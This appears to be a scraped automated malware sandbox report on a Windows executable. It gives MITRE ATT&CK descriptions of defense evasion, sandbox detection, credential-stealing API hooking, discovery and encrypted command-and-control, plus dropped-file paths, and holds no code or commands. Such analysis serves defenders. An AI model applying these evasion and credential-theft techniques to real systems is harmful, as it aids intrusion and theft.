Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	Process: OS API Execution, Process: Process Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 153776434-874356550.05.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Change of critical system settings

Spreading

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\SibbEG\SibbEG.exe

C:\Program Files (x86)\SibbEG\log.src

C:\Program Files (x86)\SibbEG\tbcore3U.dll

C:\Program Files (x86)\SibbEG\utils.vcxproj

C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe

C:\Program Files (x86)\U5Mb5c\log.src

C:\Program Files (x86)\U5Mb5c\tbcore3U.dll

C:\Program Files (x86)\U5Mb5c\utils.vcxproj

C:\Program Files (x86)\k65O7cr6i\log.src

C:\Program Files (x86)\k65O7cr6i\s87cvg4.exe

C:\Program Files (x86)\k65O7cr6i\tbcore3U.dll

C:\Program Files (x86)\k65O7cr6i\utils.vcxproj

C:\Users\Public\Music\destopbak.ini

Windows Analysis Report
153776434-874356550.05.exe

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre